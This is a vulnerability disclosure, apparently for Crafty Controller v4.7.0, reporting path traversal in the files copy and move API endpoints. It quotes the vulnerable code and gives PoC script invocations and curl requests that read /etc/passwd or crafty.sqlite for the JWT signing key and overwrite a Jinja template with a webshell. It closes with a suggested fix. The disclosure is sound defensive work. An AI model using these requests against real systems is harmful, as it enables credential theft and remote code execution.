Security: Authenticated Path Traversal in Copy/Move Endpoints - Arbitrary Read & Write Leading to RCE

Quick Information

  • Operating System: Windows / Linux / MacOS / UnRAID (any)
  • Install Type: Git Cloned(Manual) / Installer / Docker (any)
  • Crafty Version: v4.7.0 (introduced in this version)

TL;DR: An authenticated user with FILES permissions over a server can achieve remote code execution (RCE). Also read/write arbitrary files (including the crafty.sqlite DB to get the JWT signing key).

What Happened?

I had a peek at the (lovely) new file browser code and spotted a path traversal issue in the new /api/v2/servers/{server_id}/files/copy and /api/v2/servers/{server_id}/files/move endpoints.

Vulnerable code is here:

class ApiServersServerFilesOperationHandler(BaseApiHandler):
    def do_operation(self, operation: str, source_path: Path, target_file: Path):
        if operation == "move":
            if Path(source_path).is_dir():
                FileHelpers.move_dir(source_path, target_file)
            else:
                FileHelpers.move_file(source_path, target_file)
        elif operation == "copy":
            if Path(source_path).is_dir():
                FileHelpers.copy_dir(source_path, target_file)
            else:
                FileHelpers.copy_file(source_path, target_file)

There's no checks here, or in the body of the post method that source_path or target_file are actually within the server's directory. Meaning a POST to /api/v2/servers/{server_id}/files/move or /copy allows specifying any paths without traversal checks. Relative and absolute paths both work (due to the path.join/PathLib.Path joining behaviour relating to absolute paths, previously discussed in #650) to traverse outside of the intended directory.

Impact/So What?

Reading any file can always be nasty - especially if the user is hosting the service within a filesystem that contains any sensitive data on they don't expect Crafty users to be able to access. Not to mention that this allows for full privilege escalation to superuser level via JWT forgery from reading crafty.sqlite. I have provided a PoC script that demonstrates this, allowing specifying a remote path to download, or to just grab the crafty.sqlite file and print the JWT signing key.

Writing any file is even nastier - this allows dropping webshells etc, to escalate this to full RCE.

Expected result

The endpoints should have detected traversal attempts, and given me a nice error message!

Exploitation Demo Video

This video demonstrates both the arbitrary read -> JWT signing key exploit, and then follows up with arbitrary write -> RCE:

Steps to reproduce

Proof of Concept Scripts

I execute both of these in the above demo video.

Arbitrary Read/PrivEsc

file_operation_read_poc.py

This script demonstrates the read vulnerability. It depends on: httpx, urllib3, and sqlite3. So pip install httpx urllib3 sqlite3 should suffice for setup.

It accepts credentials (either an API key, a user JWT, or a username & password), and accepts two modes: db (shown in demo video) or file. It dynamically finds a server the user has FILES permissions on and then either:

  • In mode db, downloads the crafty.sqlite file to print the JWT signing key
  • In mode file, requires a --file-path to be specified, which is the full path to any file on the remote Crafty host to download.
# Read arbitrary file (e.g., /etc/passwd)
python file_operation_read_poc.py --url https://localhost:8443 \
    --username poc_user --password poc_password_123 \
    --mode file \
    --file-path /etc/passwd \
    --output passwd.txt

# Grab crafty.sqlite database (auto-detects location)
python file_operation_read_poc.py --url https://localhost:8443 \
    --api-key $SERVER_FILES_API_KEY \
    --mode db

Arbitrary Write/RCE

file_operation_write_poc.py

This script demonstrates the write vulnerability. It depends on: httpx & urllib3. So pip install httpx urllib3 should suffice for setup.

Accepts all the same creds as the read PoC, and also dynamically finds a server the user has FILES permissions on, and then:

  • In mode marker, just uploads & writes crafty_file_op_arb_write_proof.txt to the root of the Crafty installation directory
  • In mode rce, uploads a malicious variant of the status.html Jinja template & overwrites the legitimate one, allowing RCE via the /status webpage
# Safe test - writes marker file to crafty installation directory
python file_operation_write_poc.py --url https://localhost:8443 \
    --username poc_user --password poc_password_123 \
    --mode marker

# RCE mode - replaces /status template with webshell
python file_operation_write_poc.py --url https://localhost:8443 \
    --user-jwt $FILES_ONLY_JWT_FROM_BROWSER \
    --mode rce

Manually (via curl)

  1. Create a server within Crafty, or gain access to an existing one where you have at least FILES permissions over it.
  2. Retrieve the server's ID, and your JWT (& CSRF token) from your browser tools, or produce an API key with the relevant permissions
  3. POST to one of the vulnerable endpoints to verify arbitrary read e.g.:
# Using /copy to demo arbitrary read - can use /move if you want!
curl -k -X POST "https://<BASE_URL>/api/v2/servers/<SERVER_ID>/files/copy" \
  -H "Authorization: Bearer <API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{
    "file_system_objects": [
      {
        "source_path": "<FULL_PATH_TO_TARGET_FILE>",
        "target_path": "."
      }
    ]
  }'

Replacing <BASE_URL>, <SERVER_ID>, <API_KEY>, and <FULL_PATH_TO_TARGET_FILE>. You can use /etc/passwd, /opt/crafty/app/config/db/crafty.sqlite, etc as <FULL_PATH_TO_TARGET_FILE>

  1. List the file contents of the server, and you should see the target file has been copied into it and is available to download
  2. Upload a file to the root of the server's files (e.g. test_marker.txt), and then POST to one of the vulnerable endpoints to verify arbitrary write e.g.:
# Using /move to demo arbitrary write - can use /copy if you want!
curl -k -X POST "https://<BASE_URL>/api/v2/servers/<SERVER_ID>/files/move" \
  -H "Authorization: Bearer <API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{
    "file_system_objects": [
      {
        "source_path": "test_marker.txt",
        "target_path": "/tmp"
      }
    ]
  }'
  1. On the server, verify that /tmp/test_marker.txt now exists. This proves arbitrary write, which is sufficient for RCE (if the file being copied/moved is a frontend Jinja template; see PoCs above for more detail)

Suggested Fix

Add calls to Helpers.validate_traversal around line 1220 of files.py, e.g.:

# After path construction (around line 1220):
for item in data["file_system_objects"]:
    source_path = Path(
        self.file_helper.get_absolute_path(server_path, item["source_path"])
    )
    target_path = Path(
        self.file_helper.get_absolute_path(
            server_path,
            Path(item["target_path"], Path(source_path).name),
        )
    )

    # ADD VALIDATION HERE:
    try:
        validated_source = Helpers.validate_traversal(server_path, source_path)
        validated_target = Helpers.validate_traversal(server_path, target_path)
    except ValueError:
        return self.finish_json(400, {
            "status": "error",
            "error": "TRAVERSAL DETECTED",
            "error_data": "Path is outside server directory"
        })

    try:
        self.do_operation(operation, validated_source, validated_target)

Priority/Severity

  • High (anything that impacts the normal user flow or blocks app usage)
  • Medium (anything that negatively affects the user experience)
  • Low (anything else e.g., typos, missing icons/translations, layout/formatting issues, etc.)
Edited by Rozza